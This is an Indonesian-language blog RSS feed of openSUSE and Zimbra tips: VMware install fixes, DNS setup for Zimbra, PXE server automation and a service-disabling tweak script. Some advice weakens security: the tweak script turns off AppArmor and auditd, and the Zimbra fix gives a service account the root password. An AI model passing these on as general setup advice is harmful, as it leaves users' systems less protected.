<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Migrasi Windows-Linux &#187; Tips</title>
	<atom:link href="http://vavai.com/v2/tag/tips/feed/" rel="self" type="application/rss+xml" />
	<link>http://vavai.com/v2</link>
	<description>Panduan Mengenai Migrasi Windows-Linux &#038; Informasi Open Source</description>
	<lastBuildDate>Sat, 30 Jan 2010 04:58:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Solusi Masalah Instalasi VMWare Workstation 6.5.3 64 bit pada openSUSE 11.2 64 bit</title>
		<link>http://vavai.com/v2/2010/01/solusi-masalah-instalasi-vmware-workstation-6-5-3-64-bit-pada-opensuse-11-2-64-bit/</link>
		<comments>http://vavai.com/v2/2010/01/solusi-masalah-instalasi-vmware-workstation-6-5-3-64-bit-pada-opensuse-11-2-64-bit/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 03:58:15 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Aplikasi]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=551</guid>
		<description><![CDATA[Saya mengalami masalah saat melakukan instalasi VMWare Workstation 6.5.3 64 bit pada openSUSE 11.2 64 bit, baik menggunakan file rpm maupun menggunakan file bundle. Masalah terjadi saat progress instalasi tidak maju-maju saat hendak melakukan konfigurasi VMWare Player. Ditunggu hingga 1/2 jam tidak ada progress sama sekali jadi kesimpulannya memang ada masalah. Coba search di Google, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://vavai.net/wp-content/uploads/2010/01/vmware-opensuse.jpeg"><a href="http://vavai.com/v2/wp-content/uploads/vmware-opensuse.jpeg"><img class="alignnone size-full wp-image-552" title="vmware-opensuse" src="http://vavai.com/v2/wp-content/uploads/vmware-opensuse.jpeg" alt="" width="517" height="406" /></a></a></p>
<p>Saya mengalami masalah saat melakukan instalasi  VMWare Workstation 6.5.3 64 bit pada  openSUSE 11.2 64 bit, baik menggunakan file rpm maupun menggunakan file bundle. Masalah terjadi saat progress instalasi tidak maju-maju saat hendak melakukan konfigurasi VMWare Player. Ditunggu hingga 1/2 jam tidak ada progress sama sekali jadi kesimpulannya memang ada masalah.</p>
<p>Coba search di Google, berikut adalah solusi untuk mengatasinya :</p>
<ol>
<li>Install VMWare Workstation melalui konsole :
<pre class="brush: cpp">
sh VMware-Workstation-6.5.3-185404.x86_64.bundle --custom --console
</pre>
<p>Catatan : Bisa juga install versi rpm dengan perintah rpm -ivh</li>
<li>Jika proses instalasi berhenti pada saat konfigurasi VMWare Player (Kira-kira saat progress sampai di  62%), buka tab konsole/terminal baru dan jalankan perintah berikut :
<pre class="brush: cpp">
mv /etc/vmware/database /etc/vmware/database_temp
</pre>
<p>Perintah diatas akan memindahkan folder database yang menjadi sumber masalah terhentinya proses konfigurasi sehingga instalasi dapat berjalan secara normal</li>
<li>Setelah proses instalasi sukses, kembalikan folder tersebut :
<pre class="brush: cpp">
mv /etc/vmware/database_temp /etc/vmware/database
vmware-modconfig --console --install-all
</pre>
<p>VMWare akan melakukan proses update konfigurasi yang masih tersisa.</li>
<li>Jalankan  VMWare Workstation dari start menu</li>
</ol>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=551">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=551&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2010/01/solusi-masalah-instalasi-vmware-workstation-6-5-3-64-bit-pada-opensuse-11-2-64-bit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tentang Setting DNS pada Zimbra Mail Server</title>
		<link>http://vavai.com/v2/2009/12/tentang-setting-dns-pada-zimbra-mail-server/</link>
		<comments>http://vavai.com/v2/2009/12/tentang-setting-dns-pada-zimbra-mail-server/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 08:36:29 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Aplikasi]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[zimbra]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=530</guid>
		<description><![CDATA[Salah satu kendala yang menghadang rekan-rekan yang berniat melakukan instalasi Zimbra Mail Server salah satunya adalah masalah setting DNS Server. Kendala ini bukan sekedar masalah setting konfigurasi DNS Server melainkan juga  pemahaman mengenai kepentingan DNS Server dan relasinya dengan klien dan akses internet. Untuk membantu klarifikasi ini, berikut saya buatkan rangkumannya yang saya pisahkan dalam [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://vavai.com/v2/wp-content/uploads/dns-server.gif"><img class="alignnone size-full wp-image-538" title="dns-server" src="http://vavai.com/v2/wp-content/uploads/dns-server.gif" alt="dns-server" width="446" height="211" /></a></p>
<p>Salah satu kendala yang menghadang rekan-rekan yang berniat melakukan instalasi Zimbra Mail Server salah satunya adalah masalah setting DNS Server. Kendala ini bukan sekedar masalah setting konfigurasi DNS Server melainkan juga  pemahaman mengenai kepentingan DNS Server dan relasinya dengan klien dan akses internet.</p>
<p>Untuk membantu klarifikasi ini, berikut saya buatkan rangkumannya yang saya pisahkan dalam point-point sebagai berikut :</p>
<ol>
<li>Zimbra membutuhkan DNS Server. 2 hal utama yang dibutuhkan oleh Zimbra adalah MX Records yang harus merujuk pada hostname Zimbra dan A Records yang merujuk pada IP Zimbra. Zimbra juga membutuhkan setting Name Server (NS Records) yang benar untuk keperluan monitoring</li>
<li>Sangat disarankan untuk melakukan instalasi DNS Server pada mesin Zimbra. Instalasi DNS Server pada mesin Zimbra membawa manfaat sebagai berikut : fleksibilitas saat hendak migrasi, fleksibilitas saat hendak backup &amp; restore dan mengurangi down time karena pada saat yang bersamaan kita bisa melakukan proses instalasi Zimbra sedangkan disisi lain mail server yang ada tetap bisa berjalan</li>
<li>Zimbra hanya membutuhkan DNS Server untuk keperluan melakukan lookup dirinya sendiri (dan lookup domain lain jika posisinya sudah berjalan). Zimbra tidak harus menggunakan DNS Server milik ISP atau DNS yang sedang berjalan</li>
<li>Tidak ada larangan membuat DNS Server lebih dari satu dalam 1 lingkungan organisasi. Berbeda dengan Domain Controller atau Active Directory yang bisa membuat bentrok jika keduanya sama-sama difungsikan sebagai PDC (Primary Domain Controller), DNS Server tidak akan membuat service menjadi bentrok. Keperluan DNS Server ada disisi klien. Klien menggunakan DNS Server untuk melakukan resolving. Meskipun ada lebih 10 DNS Server dalam satu organisasi, hal ini tidak berpengaruh karena DNS Server yang akan digunakan tergantung pada setting yang dilakukan pada komputer klien</li>
<li>Pahami perbedaan DNS Server ISP dengan DNS Server Zimbra. DNS Server Zimbra hanya digunakan oleh si Zimbra (dan klien-klien yang mengakses secara lokal) sedangkan DNS Server ISP  digunakan oleh server-server email dari luar untuk mengenali domain yang kita gunakan. Jadi, DNS ISP diperuntukkan untuk orang lain yang ingin mengenali domain kita sedangkan DNS Server Zimbra digunakan oleh Zimbra secara lokal</li>
<li>Tidak ada masalah meski DNS Server Zimbra dan DNS Server ISP digunakan secara berbarengan, karena keperluannya berbeda</li>
<li>Jika membutuhkan setting DNS Server pada mesin Zimbra, jadikan IP Zimbra sebagai name server 1, IP DNS ISP sebagai name server 2 dan IP Server DNS Publik (Nawala, OpenDNS, Google DNS) sebagai name server 3</li>
</ol>
<p>Bagi yang masih bingung menentukan kebutuhan dasar setting DNS yang dibutuhkan oleh Zimbra, berikut adalah konfigurasi minimal yang bisa dijadikan catatan :</p>
<p>Nama Domain : <a href="http://www.vavai.com/blog/v2">vavai.com</a></p>
<p>Nama Name Server (NS) : ns1.vavai.com</p>
<p>IP Zimbra : 192.168.0.1</p>
<p>Nama Hostname : mail.vavai.com</p>
<p>Nama MX Records : mail, prioritas 0</p>
<p>Nama Address Records (A Record) :</p>
<p>- ns1, IP : 192.168.0.1</p>
<p>- mail, IP = 192.168.0.1</p>
<p><strong>Contoh File Konfigurasi DNS pada openSUSE (/var/lib/named/master/namadomain.tld) :</strong></p>
<pre class="brush: cpp">
$TTL 2d
@               IN SOA          mail.vavai.com. root.mail.vavai.com. (
2009060901      ; serial
3h              ; refresh
1h              ; retry
1w              ; expiry
1d )            ; minimum

vavai.com.    IN MX           0 mail.vavai.com.
vavai.com.    IN NS           ns1.vavai.com.
ns1                 IN A            192.168.0.1
mail                IN A            192.168.0.1
</pre>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=530">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=530&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/12/tentang-setting-dns-pada-zimbra-mail-server/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Solved : Masalah Zimbra, &#8220;su: incorrect password&#8221;</title>
		<link>http://vavai.com/v2/2009/12/solved-masalah-zimbra-su-incorrect-password/</link>
		<comments>http://vavai.com/v2/2009/12/solved-masalah-zimbra-su-incorrect-password/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 02:35:32 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[zimbra]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=534</guid>
		<description><![CDATA[Dari sekian banyak pengalaman melakukan instalasi Zimbra Mail Server, baru kali ini saya merasa jengkel dengan pesan kesalahan ini : su : incorrect password Yang kemudian disusul dengan pesan : Initializing ldap&#8230;FAILED (256) Pesan ini muncul saat saya mencoba instalasi Zimbra 6.0.3 pada openSUSE 11.2, menggunakan Zimbra binary 6.0.3 untuk SUSE Linux Enterprise 11. Hal [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" style="margin: 5px;" src="http://toko.vavai.biz/images/zimbra_logo_jpeg.jpg" alt="Zimbra" width="320" height="105" />Dari sekian banyak pengalaman melakukan instalasi Zimbra Mail Server, baru kali ini saya merasa jengkel dengan pesan kesalahan ini :</p>
<p><em>su : incorrect password</em></p>
<p>Yang kemudian disusul dengan pesan :</p>
<p><em>Initializing ldap&#8230;FAILED (256)</em></p>
<p>Pesan ini muncul saat saya mencoba instalasi Zimbra 6.0.3 pada openSUSE 11.2, menggunakan Zimbra binary 6.0.3 untuk SUSE Linux Enterprise 11. Hal yang sama saya temukan pada saat mencoba instalasi Zimbra 5.0.20 pada openSUSE 11.2 (versi 32 bit). Yang membuat jengkel, pesan ini tidak selalu muncul pada setiap instalasi. Pesan ini hanya muncul jika instalasi Zimbra pernah gagal, misalnya karena kekurangan library yang dibutuhkan.</p>
<p>Pesan diatas juga muncul jika menggunakan perintah su atau su &#8211; zimbra.</p>
<p>Saya coba searching di Zimbra Forum, pesan kesalahan ini memang membuat jengkel beberapa pengguna Zimbra. Ada saran agar mencoba uninstall binary yang sempat gagal diinstall dengan perintah : /install.sh -u atau mencoba mengedit file /etc/sudoers dan menghapus tambahan-tambahan baris yang digunakan oleh Zimbra.</p>
<p>Berbagai upaya saya coba namun masih tetap gagal sampai saya memutuskan hendak clean install dari awal. Sebelum clean install, saya kepikiran apa mungkin masalahnya di password milik user Zimbra. Akhirnya saya coba iseng berikan perintah melalui hak akses root :</p>
<p><em>passwd zimbra</em></p>
<p>Kemudian memasukkan password root untuk si Zimbra. Setelah melakukan perintah diatas, saya mencobanya dengan perintah su &#8212; zimbra, ternyata tidak ada masalah. Saat saya melakukan proses instalasi ulang, prosesnya berjalan mulus hingga selesai.</p>
<p>Jadi, andaikata ada masalah sejenis, mungkin bisa dicoba penyelesaian seperti solusi diatas.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">
<pre class="alt2" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 194px; text-align: left;" dir="ltr">su: incorrect password</pre>
</div>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=534">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=534&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/12/solved-masalah-zimbra-su-incorrect-password/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Solved : Unknown Filesystem Type &#8216;Vfat&#8217;</title>
		<link>http://vavai.com/v2/2009/07/solved-unknown-filesystem-type-vfat/</link>
		<comments>http://vavai.com/v2/2009/07/solved-unknown-filesystem-type-vfat/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 01:45:09 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=489</guid>
		<description><![CDATA[Kemarin saya mengalami keanehan dengan openSUSE yang saya install pada server HP Proliant ML-150 yang ada di kantor cabang Tanjung Priok, Jakarta Utara. Saat saya memasukkan USB Flash Disk 8 GB dan memberikan perintah : su mkdir /mnt/usb mount -t vfat /dev/sdc1 /mnt/usb Keluar pesan : &#8220;Unknown filesystem type &#8216;vfat&#8217;&#8221; Saya coba menggunakan menu dari [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://vavai.com/blog/v2/wp-content/uploads/2009/07/opensuse-11-2.png" alt="openSUSE" /><br />
Kemarin saya mengalami keanehan dengan openSUSE yang saya install pada server HP Proliant ML-150 yang ada di kantor cabang Tanjung Priok, Jakarta Utara.</p>
<p>Saat saya memasukkan USB Flash Disk 8 GB dan memberikan perintah :</p>
<pre class="brush: cpp">
su
mkdir /mnt/usb
mount -t vfat /dev/sdc1 /mnt/usb
</pre>
<p>Keluar pesan : &#8220;Unknown filesystem type &#8216;vfat&#8217;&#8221;</p>
<p>Saya coba menggunakan menu dari YAST | System | Partitioner hasilnya sama saja. Awalnya saya pikir masalah ini terjadi karena ada library yang kurang atau something like that,  tapi pikir punya pikir, saya coba browsing sebentar dan baru teringat kalau saya baru saja memberikan perintah :</p>
<pre class="brush: cpp">
su
zypper ref &amp;&amp; zypper up
</pre>
<p>Yang artinya saya baru saja melakukan update sistem. Kemungkinan besar kernel yang saya gunakan turut diupgrade sehingga saya perlu melakukan restart server agar menggunakan kernel yang baru.</p>
<p>Setelah menggunakan kernel yang baru, masalah tersebut selesai dengan sendirinya <img src='http://vavai.com/v2/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
<p>Kebetulan saya menggunakan Flash Disk yang format bawaannya sejak beli bertipe FAT-32 sehingga muncul pesan seperti diatas. Jika saya menggunakan tipe NTFS, kemungkinan besar pesan yang keluar adalah : &#8220;Unknown filesystem type &#8216;ntfs&#8217;&#8221;</p>
<p>Moral story : Lihat-lihat library dan paket apa saja yang akan diupdate jika hendak melakukan proses upgrade, apalagi jika dilakukan pada server production, hehehe&#8230; Kebetulan server kemarin masih dalam tahapan ujicoba jadi tidak terlalu berpengaruh saat saya restart.</p>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=489">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=489&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/07/solved-unknown-filesystem-type-vfat/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Otomatisasi Setting PXE Boot Server untuk Instalasi openSUSE Via Jaringan</title>
		<link>http://vavai.com/v2/2009/06/otomatisasi-setting-pxe-boot-server-untuk-instalasi-opensuse-via-jaringan/</link>
		<comments>http://vavai.com/v2/2009/06/otomatisasi-setting-pxe-boot-server-untuk-instalasi-opensuse-via-jaringan/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 17:53:54 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=434</guid>
		<description><![CDATA[Beberapa waktu yang lalu saya sudah menulis panduan mengenai &#8220;Tutorial Instalasi openSUSE Tanpa CD/DVD Menggunakan PXE Boot&#8221; bagian I dan bagian II. Kedua tutorial itu semestinya mudah diikuti dan sukses dijalankan karena saya mencobanya berulang kali sebelum menuliskannya. Untuk lebih mempermudah proses setup, saya membuatkan script untuk otomatisasi setup PXE Boot Server yang akan melakukan [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://vavai.com/v2/wp-content/uploads/pxe1.jpg"><img class="alignnone size-full wp-image-438" title="pxe" src="http://vavai.com/v2/wp-content/uploads/pxe1.jpg" alt="pxe" width="405" height="261" /></a></p>
<p>Beberapa waktu yang lalu saya sudah menulis panduan mengenai &#8220;Tutorial Instalasi openSUSE Tanpa CD/DVD Menggunakan PXE Boot&#8221; <a href="http://vavai.com/v2/2009/05/instalasi-opensuse-tanpa-cddvd-menggunakan-pxe-boot-network/">bagian I</a> dan <a href="http://vavai.com/v2/2009/06/instalasi-opensuse-tanpa-cddvd-menggunakan-pxe-boot-network-bagian-ii/">bagian II</a>. Kedua tutorial itu semestinya mudah diikuti dan sukses dijalankan karena saya mencobanya berulang kali sebelum menuliskannya.</p>
<p>Untuk lebih mempermudah proses setup, saya membuatkan script untuk otomatisasi setup PXE Boot Server yang akan melakukan hal-hal sebagai berikut :</p>
<ol>
<li>Melakukan setup DHCP Server agar otomatis menerima permintaan DHCP dan request boot melalui Boot ROM / LAN Card</li>
<li>Melakukan setup TFTP Server agar otomatis aktif pada saat boot</li>
<li>Melakukan setup PXE Server dengan mengaktifkan konfigurasi syslinux dan file untuk booting</li>
</ol>
<p>Berikut adalah tampilan pada saat script dijalankan (Klik jika membutuhkan tampilan yang lebih besar)</p>
<p><a href="http://vavai.com/v2/wp-content/uploads/pxe-auto.png"><img class="size-full wp-image-435 alignnone" title="pxe-auto" src="http://vavai.com/v2/wp-content/uploads/pxe-auto.png" alt="pxe-auto" width="520" height="474" /></a></p>
<p>Mengingat script ini membutuhkan file <strong>initrd</strong> dengan besar sekitar 22 MB dan file boot <strong>linux</strong> dengan besar sekitar 2 MB, saya memilih untuk menyediakan 2 buah file kompresi tar.gz, yaitu file script dengan initrd dan boot linux lengkap serta file kompresi tar.gz tanpa kedua file tersebut. Langkah ini saya tempuh agar proses download tidak terlalu lama. Kedua file tersebut (initrd dan linux) dapat ditemukan pada DVD openSUSE didalam folder /boot/i386/loader/.</p>
<p>Berikut adalah cara menggunakan script otomatisasi setting PXE Server :</p>
<ol>
<li>Download script. Silakan pilih, <a href="http://vavai.com/v2/wp-content/uploads/pxe-auto.tar.gz" class="broken_link">pxe boot lengkap dengan initrd (24 MB)</a> atau <a href="http://vavai.com/v2/wp-content/uploads/pxe-auto-tanpa-initrd.tar.gz">pxe boot  tanpa  initrd (1 MB)</a>. Contoh pada tutorial ini menggunakan script pertama, pxe boot lengkap dengan initrd, karena itu sesuaikan nama file jika menggunakan pilihan kedua. Satu-satunya letak perbedaan kedua script adalah bahwa script pertama sudah dibundel dengan initrd sedangkan script kedua membutuhkan file initrd dan linux yang dapat dicopy dari DVD openSUSE. Saya menggunakan folder contoh /home/vavai sebagai tempat penyimpanan file script yang didownload.</li>
<li>Buka konsole (ALT+F2, konsole atau ALT+F2, gnome-terminal jika menggunakan gnome desktop manager)</li>
<li>Ekstrak, masuk ke folder dan jalankan script
<pre class="brush: cpp">
su
cd /home/vavai
tar -zxvf pxe-auto.tar.gz
cd pxe-auto
chmod +x pxe-server-auto.sh
./pxe-server-auto.sh
</pre>
</li>
<li>Jika menggunakan script kedua (pxe server tanpa initrd), lakukan copy data file initrd dan linux dari folder /boot/i386/loader/ yang ada pada DVD openSUSE</li>
<li>Lakukan  setting Bios agar boot melalui LAN (set agar LAN menjadi prioritas utama untuk booting dan aktifkan pilihan boot from lan)</li>
<li>Restart komputer klien<br />
<a href="http://vavai.com/v2/wp-content/uploads/pxe-auto-client.jpeg"><img class="alignnone size-full wp-image-441" title="pxe-auto-client" src="http://vavai.com/v2/wp-content/uploads/pxe-auto-client.jpeg" alt="pxe-auto-client" width="508" height="329" /></a></li>
</ol>
<p><strong>Catatan :</strong></p>
<ol>
<li>Instalasi melalui jaringan membutuhkan repositori jaringan lokal/internet. Silakan merujuk pada artikel bagian pertama diatas atau pada artikel ini : <a href="http://opensuse.or.id/panduan/instalasi/membuat-repositori-lokal-opensuse/">Membuat Repositori Lokal untuk openSUSE</a> untuk membuat sebuah repo lokal</li>
<li>Instalasi melalui repo online dapat dilakukan namun dengan pertimbangan kecepatan akses sangat berpengaruh, disarankan menggunakan repo lokal dalam bentuk DVD openSUSE yang isinya dicopy ke folder tertentu</li>
</ol>
<p><strong>Kode Bash Script :</strong></p>
<pre class="brush: cpp">
#!/bin/sh

#Hapus Layar
clear

echo -e &quot;########################################################################&quot;
echo -e &quot;# pxe-server-auto ver 2009.06.001, dites pada OpenSUSE 11.1            #&quot;
echo -e &quot;# Skrip untuk otomatisasi konfigurasi pxe server-instalasi via network #&quot;
echo -e &quot;# Masim &#039;Vavai&#039; Sugianto - vavai@vavai.com - http://vavai.com/blog/v2  #&quot;
echo -e &quot;########################################################################&quot;

echo &quot;&quot;

#Default Configuration
startdirectory=&quot;/tmp/pxe-auto/&quot;
searchterm=&quot;vavai.com&quot;
ibold=&quot;\033[1m&quot;&quot;\n===&gt; &quot;
ebold=&quot;\033[0m&quot;

versi=$(grep &quot;VERSION&quot; /etc/SuSE-release | cut -f 2 -d =)

#Lakukan trim agar tidak ada white space
versi=${versi/ /}

#Tanya, punya akses internet tidak ? Jika ya, gunakan repo online
echo -n &quot;Apakah anda ingin instalasi menggunakan repo online ? [Y/T] &quot;
read jawab
flag_akses_internet=&quot;`echo $jawab|tr [a-z] [A-Z]`&quot;

echo -e $ibold&quot;Membaca variabel konfigurasi..............................&quot;$ebold
echo &quot;&quot;
echo &quot;Proses konfigurasi...&quot;
echo -n &quot;Masukkan nama domain (contoh : vavai.com) : &quot;
read nama_domain
echo -n &quot;Masukkan alamat IP (contoh : 192.168.0.1) : &quot;
read alamat_ip
echo -n &quot;Range DHCP IP Address (contoh : 192.168.0.201 192.168.0.250) : &quot;
read range_ip

#Subnet IP
subip1=$(echo $alamat_ip | cut -f 1 -d .)
subip2=$(echo $alamat_ip | cut -f 2 -d .)
subip3=$(echo $alamat_ip | cut -f 3 -d .)
subip4=$(echo $alamat_ip | cut -f 4 -d .)

subnet_ip=&quot;$subip1.$subip2.$subip3.0&quot;
broadcast_ip=&quot;$subip1.$subip2.$subip3.255&quot;

echo -e $ibold&quot;Refresh repositori...........................................&quot;$ebold

if [ &quot;$flag_akses_internet&quot; = &quot;Y&quot; ] ;
then
zypper mr -da
zypper ar &quot;http://mirror1.opensuse.or.id/repo/$versi/oss/&quot; oss-m1
zypper ar &quot;http://mirror1.opensuse.or.id/repo/$versi/non-oss/&quot; non-oss-m1
#   zypper ar http://mirror1.opensuse.or.id/repo/packman/suse/11.1/ packman-m1
zypper ref
fi

echo -e $ibold&quot;Installasi paket yang dibutuhkan............................&quot;$ebold
zypper in rsync yast2-tftp-server tftp syslinux dhcp-server dhcp-relay dhcp-tools dhcpv6 yast2-dhcp-server

echo -e $ibold&quot;Salin file konfigurasi ke folder temporary..................&quot;$ebold
mkdir -p $startdirectory

rsync -av --delete . $startdirectory

echo -e $ibold&quot;Ubah konfigurasi..............................................&quot;$ebold

for file in $(grep -l -R $searchterm $startdirectory)
do
sed -e &quot;s/$searchterm/$nama_domain/g&quot; -e &quot;s/192.168.0.0/$subnet_ip/g&quot; -e &quot;s/192.168.0.1/$alamat_ip/g&quot; -e &quot;s/192.168.0.201 192.168.0.250/$range_ip/g&quot; -e &quot;s/192.168.0.255/$broadcast_ip/g&quot; $file &gt; /tmp/tempfile.tmp
mv /tmp/tempfile.tmp $file
echo &quot;Modified: &quot; $file
done
echo &quot;Done!&quot;

echo -e $ibold&quot;Update konfigurasi............................................&quot;$ebold

mkdir -p /srv/tftpboot
rsync -av  $startdirectory&quot;tftpboot/&quot; /srv/tftpboot
mv /etc/dhcpd.conf /etc/dhcpd.conf.asli
cp $startdirectory&quot;dhcpd.conf&quot; /etc/
cp $startdirectory&quot;tftp&quot; /etc/xinetd.d

echo -e $ibold&quot;Menjalankan service..........................................&quot;$ebold
chkconfig --add dhcpd
chkconfig dhcpd on
service dhcpd restart
service xinetd restart
#SuSEconfig

echo -e $ibold&quot;Proses konfigurasi telah selesai.............................&quot;$ebold
</pre>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=434">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=434&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/06/otomatisasi-setting-pxe-boot-server-untuk-instalasi-opensuse-via-jaringan/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Script Sederhana untuk Tweak openSUSE 11.1</title>
		<link>http://vavai.com/v2/2009/05/script-sederhana-untuk-tweak-opensuse-111/</link>
		<comments>http://vavai.com/v2/2009/05/script-sederhana-untuk-tweak-opensuse-111/#comments</comments>
		<pubDate>Wed, 13 May 2009 05:05:59 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=374</guid>
		<description><![CDATA[Berikut ini adalah script sederhana untuk tweak openSUSE 11.1. Tweak yang dilakukan juga sederhana, yaitu melakukan non aktif service yang biasanya jarang digunakan. Mohon lihat-lihat dulu scriptnya sebelum dijalankan karena bisa jadi service yang anda butuhkan malah dinonaktif . Contohnya, karena saya menggunakan komputer personal, service ssh-pun saya non aktifkan. Buat file teks opensuse-tweak.sh dan [...]]]></description>
			<content:encoded><![CDATA[<p>Berikut ini adalah script sederhana untuk tweak openSUSE 11.1. Tweak yang dilakukan juga sederhana, yaitu melakukan non aktif service yang biasanya jarang digunakan.</p>
<p>Mohon lihat-lihat dulu scriptnya sebelum dijalankan karena bisa jadi service yang anda butuhkan malah dinonaktif <img src='http://vavai.com/v2/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  . Contohnya, karena saya menggunakan komputer personal, service ssh-pun saya non aktifkan.</p>
<p>Buat file teks opensuse-tweak.sh dan copy paste perintah teks seperti berikut ini :</p>
<pre class="brush: cpp">
#!/bin/bash
service aaeventd stop
service auditd stop
service autoyast stop
service bluetooth stop
service bluetooth-coldplug stop
service boot.apparmor stop
service cron stop
service fbset stop
service java.binfmt_misc stop
service joystick stop
service nscd stop
service postfix stop
service powerd stop
service smartd stop
service sshd stop

chkconfig aaeventd off
chkconfig auditd off
chkconfig autoyast off
chkconfig bluetooth off
chkconfig bluetooth-coldplug off
chkconfig boot.apparmor off
chkconfig cron off
chkconfig fbset off
chkconfig java.binfmt_misc off
chkconfig joystick off
chkconfig nscd off
chkconfig postfix off
chkconfig powerd off
chkconfig smartd off
chkconfig sshd off
</pre>
<p>Kalau malas ngetik, download saja file teks ini : opensuse-tweak.sh <img src='http://vavai.com/v2/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  . Untuk menjalankannya via konsole/terminal simple saja :</p>
<pre class="brush: cpp">
chmod +x opensuse-tweak.sh
./opensuse-tweak.sh
</pre>
<p>Jika ada saran untuk otomatisasi tweak yang lain silakan info via komentar. Tweak lengkap dapat dibaca di sini :  <a href="http://vavai.net/2009/01/15/opensuse-tweak-increase-opensuse-speed-performance/" class="broken_link">“openSUSE Tweak : Increase openSUSE Speed &amp; Performance”</a></p>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=374">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=374&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/05/script-sederhana-untuk-tweak-opensuse-111/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perintah Bash untuk Menghapus File secara Rekursif/Massal</title>
		<link>http://vavai.com/v2/2009/04/perintah-bash-untuk-menghapus-file-secara-rekursifmassal/</link>
		<comments>http://vavai.com/v2/2009/04/perintah-bash-untuk-menghapus-file-secara-rekursifmassal/#comments</comments>
